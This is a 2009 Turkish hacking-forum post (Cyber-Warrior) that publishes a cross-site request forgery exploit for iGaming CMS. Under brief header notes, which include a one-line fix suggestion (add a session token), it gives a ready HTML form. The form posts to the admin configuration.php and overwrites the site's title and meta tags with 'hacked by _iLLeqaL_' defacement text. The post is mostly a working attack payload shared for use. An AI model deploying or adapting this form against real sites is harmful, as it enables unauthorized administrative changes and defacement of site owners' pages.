ROOT
FORUM ROOT
PORTAL ROOT
CYBER NAVIGATION
DÖKÜMANLAR
DÖKÜMAN EKLE
DOWNLOAD/DOSYA ARSIVI
BASINDA CW
CYBER ACADEMY
ORGANIZASYON
NELER YAPTIK?
OPERASYON YÖNETIM SISTEMI
GÖREV ORG. BASVURU
YÖNETICI BASVURU FORMU
MISYON
KURALLAR
KEFALET
KEFIL HAVUZU
MEMBER NAVIGATION
YENI ÜYE BASVURU
PROFIL
MEMBER NETWORK
SIFREMI UNUTTUM
ÖZEL MESAJLARIM
ONAY E-POSTA GÖNDER
Root
>
Exploits / Vulnerabilities
> iGaming CMS ~ XSRF Vuln.
iGaming CMS ~ XSRF Vuln. | Cyber-Warrior Information Technology's World
Madde
Author :
Bug Researchers/_iLLeqaL_
Date :
13.09.2009 20:54:41
#
iGaming CMS ~ XSRF Vuln.
[Full Screen Display]
< ------------------- header data start ------------------- > ############################################################# # Application Name : iGaming CMS # vulnerable Type : XSRF # Infection : Meta ile site yönlendirilebilir ! # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmelidir ! # author : Bug Researchers/_iLLeqaL_ ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form method=post action=http://[site].com/[yol]/admin/configuration.php name=SPform onsubmit=return submitForm();> <input type=hidden name=site_title value=Meta Taginiz size=50> <input type=hidden name=meta_description value=Meta Taginizi size=50> <input type=hidden name=meta_keywords value=hacked,_iLLeqaL_,hacked by _iLLeqaL_ size=50> <input type=hidden name=date_format value=Y.m.d size=50> <input type=hidden name=true_refresh value=0> <INPUT TYPE=submit NAME=submit VALUE=Tamam STYLE=width: 150px;> <input type=hidden name=do value=global_save> </form> < -- bug code end of -- >
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©